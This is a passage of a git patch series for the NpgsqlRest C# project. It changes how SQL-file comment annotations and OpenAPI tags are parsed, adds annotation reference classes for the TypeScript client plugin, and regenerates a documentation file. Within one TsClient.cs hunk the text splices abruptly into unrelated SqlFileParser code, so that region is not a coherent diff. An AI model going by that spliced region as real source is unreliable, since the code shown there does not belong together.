IEndpointCreateHandler { + /// What this plugin reads from comments (the annotation reference). + public CommentAnnotation[] Annotations => OpenApiAnnotations.All; + public OpenApi() : this(new OpenApiOptions()) { } // Resolved in the constructor so an invalid SpecVersion fails fast at startup, @@ -560,7 +563,14 @@ public void Handle(RoutineEndpoint endpoint) { return new CommentLineResult("openapi tag (ignored: no tag value)"); } - var tags = words[2..]; // original casing for tag values + // Tags are separated by commas, so a tag may be several words: "openapi tag Partner API" is one + // tag, "openapi tags Partner API, Billing" two. (They used to be split on spaces as well, which made + // a tag of several words impossible.) Original casing is kept. + var tags = TagsOf(line); + if (tags.Length == 0) + { + return new CommentLineResult("openapi tag (ignored: no tag value)"); + } endpoint.Items[ItemTags] = tags; return new CommentLineResult("openapi tags: " + string.Join(", ", tags)); } @@ -569,6 +579,22 @@ public void Handle(RoutineEndpoint endpoint) return new CommentLineResult($"openapi (ignored: unknown sub-command '{sub}')"); } + /// The tags of an "openapi tag ..." line: the text after the second word, split on commas. + internal static string[] TagsOf(string line) + { + var rest = line.AsSpan().Trim(); + for (var word = 0; word < 2; word++) + { + var end = rest.IndexOfAny(' ', '\t', ','); + if (end < 0) + { + return []; + } + rest = rest[end..].TrimStart([' ', '\t', ',']); + } + return [.. rest.ToString().Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries)]; + } + public void Cleanup() { if (openApiOptions.FileName is null && openApiOptions.UrlPath is null) diff --git a/plugins/NpgsqlRest.OpenApi/OpenApiAnnotations.cs b/plugins/NpgsqlRest.OpenApi/OpenApiAnnotations.cs new file mode 100644 index 00000000..28af9422 --- /dev/null +++ b/plugins/NpgsqlRest.OpenApi/OpenApiAnnotations.cs @@ -0,0 +1,18 @@ +namespace NpgsqlRest.OpenAPI; + +/// The comment annotations the OpenAPI plugin reads, as annotation reference data. +public static class OpenApiAnnotations +{ + public static CommentAnnotation[] All => + [ + new() + { + Name = "openapi", + Aliases = ["openapi"], + Syntax = "openapi [hide|hidden|ignore] | openapi tag [, ...]", + Description = "Control this endpoint in the OpenAPI document: hide it (also what a bare openapi does; the endpoint itself is unaffected), or replace its default tag, the schema name, with one or more tags. A tag is one word.", + Owner = "openapi", + Example = "openapi tag partners" + }, + ]; +} diff --git a/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs b/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs index 02de1e58..e4af8a16 100644 --- a/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs +++ b/plugins/NpgsqlRest.SqlFileSource/SqlFileParser.cs @@ -63,6 +63,19 @@ public class SqlFileParseResult ///
public Dictionary ReturnsTypeOverrides { get; } = []; + /// + /// The statements whose @returns was written WITHOUT the @ prefix. Such a line may be a sentence that happens + /// to look like the annotation ("Returns users"), so a type that does not exist is not an error for these: + /// the line is taken as a comment and the statement is described as usual. + /// + public HashSet ImplicitReturns { get; } = []; + + /// + /// The comment lines (trimmed, as written) that this parser read as annotations of its own: + /// skip, returns, result, define_param. They are not part of the endpoint's description. + /// + public HashSet ConsumedCommentLines { get; } = new(StringComparer.Ordinal); + /// /// Errors encountered during parsing. /// @@ -439,6 +452,11 @@ public static SqlFileParseResult Parse(ReadOnlySpan content, CommentScope ExtractPerCommandAnnotations(interStmtCommentBuilder.ToString(), nextIndex, result); interStmtCommentBuilder.Clear(); } + if (!firstStatementSeen) + { + // one statement with no semicolon: everything collected so far is its header + headerCommentLength = commentBuilder.Length; + } result.Statements.Add(lastStmt); } @@ -473,7 +491,12 @@ private static bool ShouldCollectComment(CommentScope scope, bool firstStatement /// /// Extract positional per-command annotations from comments between statements. - /// Supports: @single, @skip, @result name, @result is name + /// Supports: @single, @skip, @returns type, @result name, @result is name. + /// + /// A line is an annotation when its first WORD is the keyword (so "resulting rows" and "returns_x" are not). + /// The @ prefix says the line is meant as an annotation. Without it, a comment may simply be a sentence that + /// starts with one of these words ("Returns all active users", "result of the join"), so such a line is taken + /// as an annotation only when the rest of it has the shape of one: a single name, or a type name. /// private static void ExtractPerCommandAnnotations(string comment, int statementIndex, SqlFileParseResult result) { @@ -482,7 +505,8 @@ private static void ExtractPerCommandAnnotations(string comment, int statementIn foreach (var line in lines) { var trimmed = line.Trim(); - var s = trimmed.StartsWith('@') ? trimmed[1..] : trimmed; + var explicitAnnotation = trimmed.StartsWith('@'); + var s = explicitAnnotation ? trimmed[1..] : trimmed; // @single / @single_record / @single_result if (CommentPrimitives.StrEqualsToArray(s, "single", "single_record", "single_result")) @@ -495,48 +519,134 @@ private static void ExtractPerCommandAnnotations(string comment, int statementIn if (CommentPrimitives.StrEqualsToArray(s, "skip", "skip_result", "no_result")) { result.SkipCommands.Add(statementIndex); + result.ConsumedCommentLines.Add(trimmed); continue; } // @returns type_name (positional — skip Describe, use composite type columns) - if (s.StartsWith("returns", StringComparison.OrdinalIgnoreCase) && s.Length > 7) + if (TryKeyword(s, "returns", out var typeName)) { - var typeName = s[7..].TrimStart().TrimEnd(';'); - if (typeName.Length > 0) + typeName = typeName.TrimEnd(';').Trim(); + if (typeName.Length == 0) + { + continue; + } + if (explicitAnnotation is false && LooksLikeTypeName(typeName) is false) + { + continue; // a sentence, not an annotation + } + result.ReturnsTypeOverrides[statementIndex] = typeName; + if (explicitAnnotation is false) { - result.ReturnsTypeOverrides[statementIndex] = typeName; + result.ImplicitReturns.Add(statementIndex); } + result.ConsumedCommentLines.Add(trimmed); continue; } // @result name / @result is name (positional) - if (s.StartsWith("result", StringComparison.OrdinalIgnoreCase) && s.Length > 6) + if (TryKeyword(s, "result", out var afterResult)) { - var afterResult = s[6..].TrimStart(); - if (afterResult.Length == 0) continue; - - var rest = afterResult; - - var parts = rest.Split([' ', '\t'], StringSplitOptions.RemoveEmptyEntries); + var parts = afterResult.Split([' ', '\t'], StringSplitOptions.RemoveEmptyEntries); string? name = null; if (parts.Length >= 2 && string.Equals(parts[0], "is", StringComparison.OrdinalIgnoreCase)) { name = parts[1]; + if (explicitAnnotation is false && parts.Length > 2) + { + continue; // "result is not what ..." - a sentence + } } else if (parts.Length >= 1) { name = parts[0]; + if (explicitAnnotation is false && parts.Length > 1) + { + continue; // "result of the join" - a sentence + } } - if (name is not null) + if (name is not null && (explicitAnnotation || IsSimpleName(name))) { result.PositionalResultNames[statementIndex] = name; + result.ConsumedCommentLines.Add(trimmed); } } } } + /// + /// True when starts with the word (case-insensitive) followed + /// by whitespace; is what follows, trimmed. "returns" alone, "returns_x" and + /// "resulting" do not match. + /// + internal static bool TryKeyword(string line, string keyword, out string rest) + { + rest = ""; + if (line.Length <= keyword.Length || + line.StartsWith(keyword, StringComparison.OrdinalIgnoreCase) is false || + char.IsWhiteSpace(line[keyword.Length]) is false) + { + return false; + } + rest = line[(keyword.Length + 1)..].Trim(); + return true; + } + + private static bool IsSimpleName(string value) + { + foreach (var c in value) + { + if (char.IsLetterOrDigit(c) is false && c != '_') + { + return false; + } + } + return value.Length > 0; + } + + private static readonly string[] MultiWordTypes = + [ + "double precision", "character varying", "bit varying", + "timestamp with time zone", "timestamp without time zone", + "time with time zone", "time without time zone" + ]; + + /// + /// True when the text has the shape of a type name: one token (my_schema.my_type, int[], numeric(10,2), + /// "Quoted Name"), or one of PostgreSQL's type names of several words (double precision, + /// timestamp with time zone ...), with an optional length and array suffix. + /// + internal static bool LooksLikeTypeName(string value) + { + value = value.Trim(); + if (value.Length == 0) + { + return false; + } + foreach (var multi in MultiWordTypes) + { + if (value.StartsWith(multi, StringComparison.OrdinalIgnoreCase)) + { + var tail = value[multi.Length..]; + return tail.Length == 0 || tail[0] is '(' or '[' || string.IsNullOrWhiteSpace(tail); + } + } + // a quoted identifier may contain spaces; nothing else may + var inQuotes = false; + var depth = 0; + foreach (var c in value) + { + if (c == '"') inQuotes = !inQuotes; + else if (inQuotes) continue; + else if (c == '(') depth++; + else if (c == ')') depth--; + else if (char.IsWhiteSpace(c) && depth == 0) return false; + } + return inQuotes is false; + } + /// - private static bool HasEndpointRequestingAnnotation(string comment) + private static bool HasEndpointRequestingAnnotation(string comment, bool requireAtPrefix) { if (string.IsNullOrEmpty(comment)) { @@ -853,6 +897,10 @@ private static bool HasEndpointRequestingAnnotation(string comment) { span = span[1..]; } + else if (requireAtPrefix) + { + continue; + } var wordEnd = span.IndexOfAny(' ', '\t'); var word = wordEnd < 0 ? span : span[..wordEnd]; if (word.Length == 0) diff --git a/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj b/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj index 95a859b5..858a6ed3 100644 --- a/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj +++ b/plugins/NpgsqlRest.TsClient/NpgsqlRest.TsClient.csproj @@ -26,10 +26,10 @@ true README.MD bin\$(Configuration)\$(AssemblyName).xml - 1.38.1 - 1.38.1 - 1.38.1 - 1.38.1 + 1.39.0 + 1.39.0 + 1.39.0 + 1.39.0 15 diff --git a/plugins/NpgsqlRest.TsClient/TsClient.cs b/plugins/NpgsqlRest.TsClient/TsClient.cs index 4f90c673..46b30e74 100644 --- a/plugins/NpgsqlRest.TsClient/TsClient.cs +++ b/plugins/NpgsqlRest.TsClient/TsClient.cs @@ -156,6 +156,8 @@ private void Run(RoutineEndpoint[] endpoints, string? fileName, string? hooksFil // TanStack Query hooks entries collected while handling this module's endpoints: // (generated function name, PascalCase name, GET = useQuery vs useMutation, takes a request object) List<(string Camel, string Pascal, bool IsGet, bool HasRequest)> hookEntries = []; + // For tools (EndpointReport): the function generated for each endpoint in this file. + List<(RoutineEndpoint Endpoint, string Camel, string Pascal)> generated = []; Dictionary modelsDict = []; Dictionary names = []; @@ -331,6 +333,7 @@ options.ImportBaseUrlFrom is not null ? } AddHeader(interfaces); File.WriteAllText(fileName, interfaces.ToString()); + ReportGenerated(fileName, interfaces.ToString(), generated); _filesCreated++; Logger?.LogTrace("Created Typescript file: {fileName}", fileName); } @@ -342,6 +345,7 @@ options.ImportBaseUrlFrom is not null ? } AddHeader(content); File.WriteAllText(fileName, content.ToString()); + ReportGenerated(fileName, content.ToString(), generated); _filesCreated++; Logger?.LogTrace("Created Javascript file: {fileName}", fileName); } @@ -364,6 +368,7 @@ options.ImportBaseUrlFrom is not null ? } AddHeader(interfaces); File.WriteAllText(typeFile, interfaces.ToString()); + EndpointReport.AddGenerated("tsclient", typeFile, "types", "", []); Logger?.LogTrace("Created Typescript type file: {typeFile}", typeFile); } @@ -373,6 +378,7 @@ options.ImportBaseUrlFrom is not null ? } AddHeader(content); File.WriteAllText(fileName, content.ToString()); + ReportGenerated(fileName, content.ToString(), generated); if (!options.SkipTypes) { _filesCreated++; @@ -384,7 +390,7 @@ options.ImportBaseUrlFrom is not null ? Logger?.LogTrace("Created Javascript file: {fileName}", fileName); } } - WriteHooks(hooksFileName, fileName, hookEntries); + WriteHooks(hooksFileName, fileName, hookEntries, generated); return; void AddHeader(StringBuilder sb) @@ -513,6 +519,7 @@ bool Handle(RoutineEndpoint endpoint) { return false; } + generated.Add((endpoint, camel, pascal)); content.AppendLine(); @@ -1657,7 +1664,14 @@ options.XsrfTokenHeaderName is not null ? /// (Parameters / Awaited-ReturnType), so the hooks file never references request/response /// type names directly (they are not reliably exported). /// /// Extract @define_param annotations from comment text. /// Supports: @define_param name, @define_param name type @@ -552,20 +662,21 @@ private static void ExtractVirtualParams(SqlFileParseResult result) var trimmed = line.Trim(); var s = trimmed.StartsWith('@') ? trimmed[1..] : trimmed; - if (!s.StartsWith("define_param", StringComparison.OrdinalIgnoreCase)) + if (TryKeyword(s, "define_param", out var rest) is false) { - continue; + continue; // not the keyword (define_params, define_parameter ...), or no name provided } - var parts = s.Split([' ', '\t'], StringSplitOptions.RemoveEmptyEntries); - if (parts.Length < 2) + var parts = rest.Split([' ', '\t'], StringSplitOptions.RemoveEmptyEntries); + if (parts.Length < 1) { - continue; // no name provided + continue; } - var name = parts[1]; - var type = parts.Length >= 3 ? parts[2] : null; + var name = parts[0]; + var type = parts.Length >= 2 ? parts[1] : null; result.VirtualParams.Add((name, type)); + result.ConsumedCommentLines.Add(trimmed); } } @@ -613,7 +724,15 @@ private static void ExtractVirtualParams(SqlFileParseResult result) // @param $1 name type ... → parts[3] is type candidate // @param $1 is name type ... → parts[4] is type candidate - if (parts.Length >= 4 && parts[2].Equals("is", StringComparison.OrdinalIgnoreCase)) + // @param $1 type is type ... → parts[4] is type candidate (retype without renaming; this form was + // read later by the comment parser, but gave no hint to Describe) + if (parts.Length >= 5 && + parts[2].Equals("type", StringComparison.OrdinalIgnoreCase) && + parts[3].Equals("is", StringComparison.OrdinalIgnoreCase)) + { + typeName = TypeCandidate(parts[4]); + } + else if (parts.Length >= 4 && parts[2].Equals("is", StringComparison.OrdinalIgnoreCase)) { if (parts.Length >= 5) { diff --git a/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs b/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs index 8c869bed..90b53c4d 100644 --- a/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs +++ b/plugins/NpgsqlRest.SqlFileSource/SqlFileSource.cs @@ -209,6 +209,18 @@ private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( continue; } + if (parseResult.ImplicitReturns.Contains(stmtIndex)) + { + // Written without the @: most likely a sentence ("Returns users"), not the annotation. + // Said, taken as a comment, and the statement is described as usual. + NpgsqlRestOptions.Logger?.LogWarning( + "SqlFileSource: {FilePath}: the comment line \"returns {Type}\" looks like the @returns annotation, but '{Type}' is not a PostgreSQL type or composite type. It is taken as a comment. Write @returns to make it an annotation.", + filePath, returnsTypeName, returnsTypeName); + parseResult.ConsumedCommentLines.RemoveWhere(l => SqlFileParser.TryKeyword(l, "returns", out var t) && string.Equals(t.TrimEnd(';').Trim(), returnsTypeName, StringComparison.Ordinal)); + parseResult.ReturnsTypeOverrides.Remove(stmtIndex); + goto describe; + } + var error = $"@returns type '{returnsTypeName}' is not a recognized PostgreSQL type or composite type."; NpgsqlRestOptions.Logger?.LogError("SqlFileSource: {FilePath}: {Error}", filePath, error); if (options.ErrorMode == ParseErrorMode.Exit) @@ -219,6 +231,7 @@ private static (Routine, IRoutineSourceParameterFormatter)? ProcessFile( return null; } + describe: var describeResult = SqlFileDescriber.Describe(connection, stmt, stmtParamCount, paramTypeHints); if (describeResult.HasError) { @@ -459,7 +472,10 @@ columnTypeDescriptors[i].ArrayCompositeFieldNames is not null && Type = RoutineType.SqlFile, Schema = "public", Name = fileName, - Comment = string.IsNullOrEmpty(parseResult.Comment) ? null : parseResult.Comment, + // Without the lines this source read itself (skip, returns, result, define_param): core would take + // them for prose, and prose is published as the endpoint's description. + Comment = string.IsNullOrEmpty(parseResult.Comment) ? null : WithoutConsumedLines(parseResult.Comment, parseResult.ConsumedCommentLines), + SourceAnnotationLines = parseResult.ConsumedCommentLines.Count > 0 ? [.. parseResult.ConsumedCommentLines] : null, IsStrict = false, CrudType = parseResult.AutoHttpMethod switch { @@ -485,6 +501,7 @@ columnTypeDescriptors[i].ArrayCompositeFieldNames is not null && Expression = parseResult.Statements[0], // first statement for display/logging; batch uses individual statements FullDefinition = $"-- SQL file: {filePath}", SimpleDefinition = $"SQL file: {filePath}", + SourceFile = filePath, FormatUrlPattern = null, Tags = null, EndpointHandler = null, @@ -763,6 +780,25 @@ private static string GetBaseDirectory(string filePattern) return Path.GetFullPath(lastSlash >= 0 ? filePattern[..lastSlash] : "."); } + private static string? WithoutConsumedLines(string comment, HashSet consumed) + { + if (consumed.Count == 0) + { + return comment; + } + var sb = new System.Text.StringBuilder(comment.Length); + foreach (var line in comment.Split('\n')) + { + if (consumed.Contains(line.Trim())) + { + continue; + } + sb.Append(line).Append('\n'); + } + var result = sb.ToString(); + return string.IsNullOrWhiteSpace(result) ? null : result; + } + /// /// Check whether the parsed comment contains an HTTP tag (a line starting with "http"). /// Mirrors the detection logic in DefaultCommentParser. @@ -775,7 +811,8 @@ private static bool HasHttpTag(string comment) } foreach (var line in comment.Split('\n')) { - var trimmed = line.Trim(); + // the @ is optional, as everywhere: "@http GET" is an HTTP tag too + var trimmed = line.Trim().TrimStart('@'); if (trimmed.Length >= 4 && trimmed.StartsWith("http", StringComparison.OrdinalIgnoreCase) && (trimmed.Length == 4 || trimmed[4] == ' ' || trimmed[4] == '\t')) diff --git a/plugins/NpgsqlRest.TsClient/TsClient.cs b/plugins/NpgsqlRest.TsClient/TsClient.cs index f55109d2..ca60f436 100644 --- a/plugins/NpgsqlRest.TsClient/TsClient.cs +++ b/plugins/NpgsqlRest.TsClient/TsClient.cs @@ -6,6 +6,9 @@ namespace NpgsqlRest.TsClient; public partial class TsClient(TsClientOptions options) : IEndpointCreateHandler { + /// What this plugin reads from comments (the annotation reference). + public CommentAnnotation[] Annotations => TsClientAnnotations.All; + private IApplicationBuilder _builder = default!; private NpgsqlRestOptions? _npgsqlRestoptions; @@ -68,7 +71,11 @@ public void Cleanup(RoutineEndpoint[] endpoints) } var containsModuleParam = endpoints.Any(e => e.CustomParameters?.ContainsKey(Module) is true); - if (!options.BySchema && containsModuleParam) + // One file, unless files are split: by schema (BySchema), or by module when endpoints name one and the + // path has a {0} to put the module in. (The test used to be "not BySchema AND some endpoint has a module", + // so without any module a single-file configuration fell into the multi-file branch: an error about a + // missing {0}, or files per schema although BySchema was off.) + if (!options.BySchema && (!containsModuleParam || !options.FilePath.Contains("{0}"))) { Run(endpoints, options.FilePath, hooksEnabled ? _reactQuery.FilePath : null); } diff --git a/plugins/NpgsqlRest.TsClient/TsClientAnnotations.cs b/plugins/NpgsqlRest.TsClient/TsClientAnnotations.cs new file mode 100644 index 00000000..ff611326 --- /dev/null +++ b/plugins/NpgsqlRest.TsClient/TsClientAnnotations.cs @@ -0,0 +1,112 @@ +namespace NpgsqlRest.TsClient; + +/// The custom parameters (key = value) the TypeScript client generator reads, as annotation reference data. +public static class TsClientAnnotations +{ + public static CommentAnnotation[] All => + [ + new() + { + Name = "tsclient", + Aliases = ["tsclient"], + Syntax = "tsclient = ", + Description = "Set to false to leave this endpoint out of the generated TypeScript client. Accepted values: true, on, enabled, 1 and false, off, disabled, 0.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "true", + Example = "tsclient = false" + }, + new() + { + Name = "tsclient_module", + Aliases = ["tsclient_module"], + Syntax = "tsclient_module = ", + Description = "The module (file) this endpoint's TypeScript code is generated into; endpoints with the same module share a file. SQL file endpoints get their directory name by default.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "tsclient_module = users" + }, + new() + { + Name = "tsclient_events", + Aliases = ["tsclient_events"], + Syntax = "tsclient_events = ", + Description = "Set to false to leave the Server-Sent Events parameters out of this endpoint's generated function.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "true", + Example = "tsclient_events = false" + }, + new() + { + Name = "tsclient_parse_url", + Aliases = ["tsclient_parse_url"], + Syntax = "tsclient_parse_url = ", + Description = "Add (or remove) the parseUrl parameter, a callback that may change the request URL. Default: the IncludeParseUrlParam option.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "tsclient_parse_url = true" + }, + new() + { + Name = "tsclient_parse_request", + Aliases = ["tsclient_parse_request"], + Syntax = "tsclient_parse_request = ", + Description = "Add (or remove) the parseRequest parameter, a callback that may change the request before it is sent. Default: the IncludeParseRequestParam option.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "tsclient_parse_request = true" + }, + new() + { + Name = "tsclient_status_code", + Aliases = ["tsclient_status_code"], + Syntax = "tsclient_status_code = ", + Description = "Return the HTTP status code together with the response. Default: the IncludeStatusCode option.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "tsclient_status_code = true" + }, + new() + { + Name = "tsclient_export_url", + Aliases = ["tsclient_export_url"], + Syntax = "tsclient_export_url = ", + Description = "Also export a function that builds this endpoint's URL. Default: the ExportUrls option.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "tsclient_export_url = true" + }, + new() + { + Name = "tsclient_url_only", + Aliases = ["tsclient_url_only"], + Syntax = "tsclient_url_only = ", + Description = "Generate only the URL function and the request type for this endpoint, no fetch function.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "tsclient_url_only = true" + }, + new() + { + Name = "tsclient_hooks", + Aliases = ["tsclient_hooks"], + Syntax = "tsclient_hooks = ", + Description = "Set to false to leave this endpoint out of the generated React Query hooks.", + Owner = "tsclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "true", + Example = "tsclient_hooks = false" + }, + ]; +} From ca919faff65f9f15aaeea2eaeaa1ed00af48bfa7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Fri, 20 Nov 2026 12:42:37 +0100 Subject: [PATCH 19/38] docs: 3.22.0 changelog - annotations for tools, the fixes; regenerated skill annotation reference - New section: the complete annotation reference, the endpoints report, unknown @ lines. - Fixes: SQL file comments, custom parameter keys and values, plugins, HTTP Custom Types, test runner. - Upgrade notes for the changes that are visible. - The skill's annotation reference is generated from the new --annotations output (125 entries, all owners). --- .../npgsqlrest/annotations-reference.md | 915 +++++++++++++++++- changelog/v3.22.0.md | 154 +++ 2 files changed, 1022 insertions(+), 47 deletions(-) diff --git a/.claude/skills/npgsqlrest/annotations-reference.md b/.claude/skills/npgsqlrest/annotations-reference.md index aa811c22..3318f421 100644 --- a/.claude/skills/npgsqlrest/annotations-reference.md +++ b/.claude/skills/npgsqlrest/annotations-reference.md @@ -1,14 +1,18 @@ # NpgsqlRest — Full Annotation Reference -Every comment annotation, generated from `npgsqlrest --annotations` (NpgsqlRest v3.22.0). -Annotations apply to both endpoint sources (database routines via `comment on`, and `.sql` files via leading `--` comments). The `@` prefix is optional. Regenerate with `npgsqlrest --annotations`. +Every comment annotation and custom parameter, generated from `npgsqlrest --annotations` (NpgsqlRest v3.22.0): what core reads and what every plugin and handler of the client reads. Regenerate with `npgsqlrest --annotations`. -A hand-maintained **Supplement** at the end of this file covers annotations the binary does NOT emit — custom-parameter families (`tsclient*`, `dartclient*`, `table_format`) and test-file annotations. **Keep the Supplement when regenerating the section above.** +Each entry says who reads it (**Owner**), how it is written (**Form**) and where it is read (**Where**). The `@` prefix is optional on endpoint annotations. In an endpoint comment, a line starting with `@` that nothing reads is not published as the description, and an unknown `@key = value` logs a warning at startup; `npgsqlrest --endpoints` lists both per endpoint (`unknownAnnotations`, `unknownCustomParameters`, `diagnostics`). + +# Endpoint annotations (core) ## `http` - **Aliases:** http - **Syntax:** `http [GET|POST|PUT|DELETE|QUERY] [path]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `HTTP GET /users/{id}` Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposure) when CommentsMode is OnlyAnnotated (or its alias OnlyWithHttpTag). @@ -16,6 +20,9 @@ Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposu - **Aliases:** path - **Syntax:** `path ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** path +- **Example:** `path /users/{id}` Override the endpoint URL path. @@ -23,6 +30,9 @@ Override the endpoint URL path. - **Aliases:** request_param_type, param_type - **Syntax:** `param_type [query_string|query|body_json|body]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (query_string, query, body_json, body) +- **Example:** `param_type body_json` Set request parameter type to query string or JSON body. @@ -30,6 +40,9 @@ Set request parameter type to query string or JSON body. - **Aliases:** authorize, authorized, requires_authorization - **Syntax:** `authorize [role1, role2, user:name, id:user_id, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `authorize admin, user:alice` Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim. @@ -37,6 +50,9 @@ Require authorization, optionally restricting access. Plain values are role name - **Aliases:** allow_anonymous, anonymous, allow_anon, anon - **Syntax:** `allow_anonymous` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `allow_anonymous` Allow unauthenticated access to this endpoint. @@ -44,6 +60,9 @@ Allow unauthenticated access to this endpoint. - **Aliases:** login, signin - **Syntax:** `login` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `login` Mark endpoint as a login/authentication endpoint. @@ -51,6 +70,9 @@ Mark endpoint as a login/authentication endpoint. - **Aliases:** logout, signout - **Syntax:** `logout` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** none +- **Example:** `logout` Mark endpoint as a logout endpoint. @@ -58,6 +80,9 @@ Mark endpoint as a logout endpoint. - **Aliases:** raw, raw_mode, raw_results - **Syntax:** `raw` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `raw` Return raw results without JSON formatting. @@ -65,6 +90,9 @@ Return raw results without JSON formatting. - **Aliases:** separator, raw_separator - **Syntax:** `separator ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `separator ,` Set the value separator for raw mode output. @@ -72,6 +100,9 @@ Set the value separator for raw mode output. - **Aliases:** new_line, raw_new_line - **Syntax:** `new_line ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** text +- **Example:** `new_line \n` Set the line separator for raw mode output. @@ -79,6 +110,9 @@ Set the line separator for raw mode output. - **Aliases:** columns, names, column_names - **Syntax:** `columns` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** boolean · **Default:** `false` +- **Example:** `columns` Include column names as the first row in raw output. @@ -86,6 +120,9 @@ Include column names as the first row in raw output. - **Aliases:** buffer_rows, buffer - **Syntax:** `buffer_rows ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** integer · **Default:** `25` +- **Example:** `buffer_rows 100` Set the number of rows to buffer before sending response. @@ -93,6 +130,9 @@ Set the number of rows to buffer before sending response. - **Aliases:** cached - **Syntax:** `cached [param1, param2, ...]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** list +- **Example:** `cached _user_id` Enable response caching, optionally specifying cache key parameters. @@ -100,6 +140,9 @@ Enable response caching, optionally specifying cache key parameters. - **Aliases:** cache_expires, cache_expires_in - **Syntax:** `cache_expires ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** interval +- **Example:** `cache_expires 5 minutes` Set cache expiration time (PostgreSQL interval format). @@ -107,6 +150,9 @@ Set cache expiration time (PostgreSQL interval format). - **Aliases:** cache_profile - **Syntax:** `cache_profile ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `cache_profile fast_memory` Select a named cache profile defined in CacheOptions.Profiles. The profile supplies the cache backend, default expiration, default key parameters, and per-parameter skip conditions. Implies caching even without @cached. Existing @cached and @cache_expires annotations override the profile's defaults. Unknown profile names cause startup to fail. @@ -114,6 +160,9 @@ Select a named cache profile defined in CacheOptions.Profiles. The profile suppl - **Aliases:** connection, connection_name - **Syntax:** `connection_name ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `connection read_replica` Use a specific named connection string for this endpoint. @@ -121,6 +170,9 @@ Use a specific named connection string for this endpoint. - **Aliases:** command_timeout, timeout - **Syntax:** `timeout ` +- **Owner:** core · **Form:** keyword line or `key = value` · **Where:** routine comment, SQL file +- **Value:** interval +- **Example:** `timeout 30s` Set command execution timeout (PostgreSQL interval format). @@ -128,6 +180,9 @@ Set command execution timeout (PostgreSQL interval format). - **Aliases:** request_headers_mode, request_headers - **Syntax:** `request_headers [ignore|context|parameter]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (ignore, context, parameter) +- **Example:** `request_headers context` Control how HTTP request headers are passed to the routine. @@ -135,6 +190,9 @@ Control how HTTP request headers are passed to the routine. - **Aliases:** request_headers_parameter_name, request_headers_param_name, request-headers-param-name - **Syntax:** `request_headers_parameter_name ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `request_headers_parameter_name _headers` Set the parameter name for request headers when mode is parameter. @@ -142,6 +200,9 @@ Set the parameter name for request headers when mode is parameter. - **Aliases:** body_parameter_name, body_param_name - **Syntax:** `body_parameter_name ` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** name +- **Example:** `body_parameter_name _body` Set the parameter name for the JSON body content. @@ -149,6 +210,9 @@ Set the parameter name for the JSON body content. - **Aliases:** response_null_handling, response_null - **Syntax:** `response_null [empty_string|null_literal|no_content|204]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum (empty_string, null_literal, no_content, 204) · **Default:** `empty_string` +- **Example:** `response_null no_content` Control how NULL return values are rendered in responses. @@ -156,6 +220,9 @@ Control how NULL return values are rendered in responses. - **Aliases:** query_string_null_handling, query_null_handling, query_string_null, query_null - **Syntax:** `query_null [empty_string|null_literal|ignore]` +- **Owner:** core · **Form:** keyword line · **Where:** routine comment, SQL file +- **Value:** enum 